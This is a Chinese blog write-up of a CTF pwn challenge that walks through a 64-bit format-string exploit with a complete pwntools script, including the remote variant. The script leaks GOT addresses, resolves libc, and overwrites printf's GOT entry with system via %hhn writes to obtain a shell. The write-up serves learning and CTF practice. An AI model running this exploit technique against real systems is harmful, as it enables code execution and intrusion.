日前入门pwn,粗浅学习了写shellcode,rop,栈溢出攻击,现在遇到了fmtstr,把我头搞炸了,决定好好学习一下,写一篇文章作为记录,供日后参考

样本

题目:https://ctf.sixstars.team/challenges#cat
文件下载:下载
参考资料:Hint
Remote:$ nc pwn.sixstars.team 22015

分析

大概就是这样,程序里没有现成的 shell 可拿,所以想法是替换 printfGOT 值为 system 的,然后输入 /bin/sh 完事,不知道这是不是叫做 ret2libc

解题

首先要获得 scanf 写入的缓冲区的地址,或者说是在调用 printf 时栈上的偏移量。我使用 Python 2.7pwntools
这里是 printfplt

printf 的 GOT 偏移是不会变的,记录下来

1
2
3
4
from pwn import *    
import struct

GOT_PLT_ADDR = 0x601030 # printf

scanf 写入的缓冲区大小是1000,由于是64位题目,如果把地址放在前面会导致直接 null byte 截断,无法获得输出,所以把地址放在最后

1
2
def pad(s):
return s + "X"*(1000 - len(s) - 8)

先写一个获取偏移量的 payload

1
2
3
4
5
6
7
def calc_offset_payload():
pl = ""
pl += "AAAAAAAA"
pl += "|%p|" * 150
pl = pad(pl)
pl += struct.pack("Q", GOT_PLT_ADDR)
return pl

执行

1
2
3
proc = process("./catstory")
proc.sendline(calc_offset_payload())
print proc.recv()

可以数出来

在第132个“参数”处,因此后面通过 %n 写入数值的时候,往132个偏移,即 %132$n 写入即可。
看看它采用的安全手段

在这里做一个小笔记,PIE 是将主程序加载进随机的(但不是任意位置,需要对齐等)地址空间,可以用来防范 rop,而 ASLR 则是操作系统级别的一个东西,随机化动态链接库的地址,而动态链接库一定是PIE的。可以理解为如果程序开启了 PIE,那么上面的 0x601030 是不能直接用的,因为主程序像动态链接库一样,地址被随机化了。
这题没开启PIE,那么可以少操一点心。
首先,目标是把 printf 的 GOT 改为 system 的,但是我们对 remote 的 libc 一无所知,需要先泄露一些地址。
我们选择 printf__libc_start_main 的地址进行泄露,我的思路是按位打印,这样如果遇到 0x00 也可以知道。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def get_got_addr_payload(i):
pl = ""
pl += "AAAAAAAA"
pl += "%132$s"
pl = pad(pl)
pl += struct.pack("Q", GOT_PLT_ADDR + i)
return pl

def get_got_addr(proc):
got_addr = list("")
for i in range(0, 8):
pld = get_got_addr_payload(i)
proc.sendline(pld)
rec = proc.recv()
#print rec
#print len(rec)
if len(rec) == 991:
got_addr += '\0'
else :
got_addr += rec[8]
got_addr = "".join(got_addr)
got_addr = struct.unpack("P", got_addr)
return got_addr

执行

1
2
3
4
5
proc = process("./catstory")
GOT_PLT_ADDR = 0x601030 # printf
printf_addr = get_got_addr(proc)
printf_addr = int(''.join(map(str,printf_addr)))
print "printf_addr = %x" % (printf_addr)

这是不够的,还需要知道 __libc_start_main 的地址,由于 ASLR ,需要在一次运行时内写出。

1
2
3
4
GOT_PLT_ADDR = 0x601038 # __libc_start_main
libc_start_main_addr = get_got_addr(proc)
libc_start_main_addr = int(''.join(map(str,libc_start_main_addr)))
print "libc_start_main_addr = %x" % (libc_start_main_addr)

我们知道了两个偏移,就可以知道 libc 的信息了。使用 libc-database

由此我们可以获得 libc,再得出 system 的地址

因此,system_addr = printf_addr + offset_system - offset_printf

1
2
system_addr = printf_addr + 0x4f440 - 0x64e80
print "system_addr = %x" % (system_addr)

最后我们只需把 system 的地址写入到 printf 里去,即可完成攻击。不过我有一个小问题就是 scanf 是不接受 0x20 即空格的,如果遇到了我不知道怎么办。
可见,我们需要修改低三个字节的内容。这里我推荐使用 %hhn,一个字节一个字节写入。于是我们需要修改 pad 函数,使后面能容纳三个地址

1
2
def pad2(s):
return s + "X"*(1000 - len(s) - 24)

容易知道三个地址的偏移变成了 130, 131, 132。

1
2
3
4
5
6
7
8
9
10
11
12
13
def set_got_addr_payload(v1, v2, v3, a1, a2, a3):
pl = ""
pl += "%{}x".format(v1)
pl += "%130$hhn"
pl += "%{}x".format(v2)
pl += "%131$hhn"
pl += "%{}x".format(v3)
pl += "%132$hhn"
pl = pad2(pl)
pl += struct.pack("Q", a1)
pl += struct.pack("Q", a2)
pl += struct.pack("Q", a3)
return pl

由于写入需要一定的顺序,而且只能递增,因此需要一些小的计算,我不细说了,自己体会。

1
2
def sort_get_idx(vals):
return sorted(range(len(vals)), key=lambda k: vals[k])

别忘了

1
import numpy as np
1
2
3
4
5
6
7
8
9
10
11
12
13
14
val1 = int(np.uint8(system_addr))
print "%x" % (val1)
val2 = int(np.uint8(system_addr >> 8))
print "%x" % (val2)
val3 = int(np.uint8(system_addr >> 16))
print "%x" % (val3)

sorted_idx = sort_get_idx([val1, val2, val3])
print sorted_idx
sorted_val = sorted([val1, val2, val3])
print sorted_val

pld = set_got_addr_payload(sorted_val[0], sorted_val[1] - sorted_val[0], sorted_val[2] - sorted_val[1], \
GOT_PLT_ADDR + sorted_idx[0], GOT_PLT_ADDR + sorted_idx[1], GOT_PLT_ADDR + sorted_idx[2])

最后

1
2
3
4
proc.sendline(pld)
proc.recvrepeat(1)
proc.sendline("/bin/sh")
proc.interactive()

如果遇到了 EOFError ,重新执行脚本应该可以解决问题。
完整本地脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *    
import struct
import numpy as np

GOT_PLT_ADDR = 0x601030 # printf

def pad(s):
return s + "X"*(1000 - len(s) - 8)

def pad2(s):
return s + "X"*(1000 - len(s) - 24)

def calc_offset_payload():
pl = ""
pl += "AAAAAAAA"
pl += "|%p|" * 150
pl = pad(pl)
pl += struct.pack("Q", GOT_PLT_ADDR)
return pl

def get_got_addr_payload(i):
pl = ""
pl += "AAAAAAAA"
pl += "%132$s"
pl = pad(pl)
pl += struct.pack("Q", GOT_PLT_ADDR + i)
return pl

def get_got_addr(proc):
got_addr = list("")
for i in range(0, 8):
pld = get_got_addr_payload(i)
proc.sendline(pld)
rec = proc.recv()
#print rec
#print len(rec)
if len(rec) == 991:
got_addr += '\0'
else :
got_addr += rec[8]
got_addr = "".join(got_addr)
got_addr = struct.unpack("P", got_addr)
return got_addr

def set_got_addr_payload(v1, v2, v3, a1, a2, a3):
pl = ""
pl += "%{}x".format(v1)
pl += "%130$hhn"
pl += "%{}x".format(v2)
pl += "%131$hhn"
pl += "%{}x".format(v3)
pl += "%132$hhn"
pl = pad2(pl)
pl += struct.pack("Q", a1)
pl += struct.pack("Q", a2)
pl += struct.pack("Q", a3)
return pl

def sort_get_idx(vals):
return sorted(range(len(vals)), key=lambda k: vals[k])

#proc.sendline(calc_offset_payload())
#print proc.recv()

proc = process("./catstory")
GOT_PLT_ADDR = 0x601030 # printf
printf_addr = get_got_addr(proc)
printf_addr = int(''.join(map(str,printf_addr)))
print "printf_addr = %x" % (printf_addr)

GOT_PLT_ADDR = 0x601038 # __libc_start_main
libc_start_main_addr = get_got_addr(proc)
libc_start_main_addr = int(''.join(map(str,libc_start_main_addr)))
print "libc_start_main_addr = %x" % (libc_start_main_addr)

system_addr = printf_addr + 0x4f440 - 0x64e80
print "system_addr = %x" % (system_addr)

val1 = int(np.uint8(system_addr))
print "%x" % (val1)
val2 = int(np.uint8(system_addr >> 8))
print "%x" % (val2)
val3 = int(np.uint8(system_addr >> 16))
print "%x" % (val3)

sorted_idx = sort_get_idx([val1, val2, val3])
print sorted_idx
sorted_val = sorted([val1, val2, val3])
print sorted_val

GOT_PLT_ADDR = 0x601030 # printf

proc.sendline(set_got_addr_payload(sorted_val[0], sorted_val[1] - sorted_val[0], sorted_val[2] - sorted_val[1], \
GOT_PLT_ADDR + sorted_idx[0], GOT_PLT_ADDR + sorted_idx[1], GOT_PLT_ADDR + sorted_idx[2]))
proc.recvrepeat(1)

proc.sendline("/bin/sh")
proc.interactive()

最后我们只要稍作修改即可用于远程服务器,获取 flag
首先由于不知道的原因,原本一次 proc.recv() 现在需要调用两次才能读完缓冲区。如果打印 0x00,原本 991 的长度被分为 989 和 2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_got_addr(proc):
got_addr = list("")
for i in range(0, 8):
pld = get_got_addr_payload(i)
proc.sendline(pld)
rec = proc.recv()
proc.recv()
#print rec
#print len(rec)
if len(rec) == 989:
got_addr += '\0'
else :
got_addr += rec[8]
got_addr = "".join(got_addr)
got_addr = struct.unpack("P", got_addr)
return got_addr

最后最重要的就是远程的libc和本地是不一样的,需要自己重新进行计算。
proc = remote("pwn.sixstars.team", 22015)
稍作修改后,执行

flag*ctf{----------------------------------} ,拒绝当 Script Kiddle,自己研究才有乐趣。